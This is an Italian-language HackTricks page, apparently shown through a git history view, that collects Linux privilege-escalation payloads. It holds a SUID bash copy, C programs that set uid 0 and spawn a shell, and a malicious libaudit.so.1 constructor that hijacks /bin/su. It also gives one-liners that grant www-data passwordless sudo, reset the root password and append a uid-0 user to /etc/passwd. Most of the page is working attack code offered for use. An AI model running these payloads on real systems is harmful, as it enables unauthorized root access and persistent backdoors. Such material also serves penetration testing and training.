hacktricks/linux-hardening/privilege-escalation/payloads-to-execute.md

146 lines
5.6 KiB
Markdown
Raw Normal View History

# Payloads to execute
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Supporta HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-31 22:22:36 +00:00
## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
2021-01-08 17:01:29 +00:00
//gcc payload.c -o payload
int main(void){
2024-02-10 13:03:23 +00:00
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```
```c
2021-01-08 17:01:29 +00:00
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
2024-02-10 13:03:23 +00:00
setuid(getuid());
system("/bin/bash");
return 0;
}
```
2022-05-31 22:22:36 +00:00
```c
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
2024-02-10 13:03:23 +00:00
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
2022-05-31 22:22:36 +00:00
}
```
## Sovrascrivere un file per elevare i privilegi
2022-05-31 22:22:36 +00:00
2024-02-10 13:03:23 +00:00
### File comuni
2021-01-08 17:01:29 +00:00
* Aggiungi utente con password a _/etc/passwd_
* Cambia password all'interno di _/etc/shadow_
* Aggiungi utente ai sudoers in _/etc/sudoers_
* Abusa di docker attraverso il socket docker, solitamente in _/run/docker.sock_ o _/var/run/docker.sock_
2021-01-08 17:01:29 +00:00
2024-02-10 13:03:23 +00:00
### Sovrascrivere una libreria
2021-01-08 17:01:29 +00:00
2024-02-10 13:03:23 +00:00
Controlla una libreria utilizzata da un binario, in questo caso `/bin/su`:
2021-01-08 17:01:29 +00:00
```bash
ldd /bin/su
2024-02-10 13:03:23 +00:00
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
2021-01-08 17:01:29 +00:00
```
2024-02-10 13:03:23 +00:00
In questo caso proviamo a impersonare `/lib/x86_64-linux-gnu/libaudit.so.1`.\
Quindi, controlla le funzioni di questa libreria utilizzate dal **`su`** binario:
2021-01-08 17:01:29 +00:00
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
I simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` e `audit_fd` provengono probabilmente dalla libreria libaudit.so.1. Poiché la libaudit.so.1 sarà sovrascritta dalla libreria condivisa malevola, questi simboli dovrebbero essere presenti nella nuova libreria condivisa, altrimenti il programma non sarà in grado di trovare il simbolo e terminerà.
2021-01-08 17:01:29 +00:00
```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
2024-02-10 13:03:23 +00:00
setuid(0);
setgid(0);
system("/bin/bash");
2021-01-08 17:01:29 +00:00
}
```
Ora, semplicemente chiamando **`/bin/su`** otterrai una shell come root.
2021-01-08 17:01:29 +00:00
2024-02-10 13:03:23 +00:00
## Script
2021-01-08 17:01:29 +00:00
Puoi far eseguire qualcosa a root?
2024-02-10 13:03:23 +00:00
### **www-data in sudoers**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Cambia la password di root**
```bash
echo "root:hacked" | chpasswd
```
2024-02-10 13:03:23 +00:00
### Aggiungi un nuovo utente root a /etc/passwd
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Supporta HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}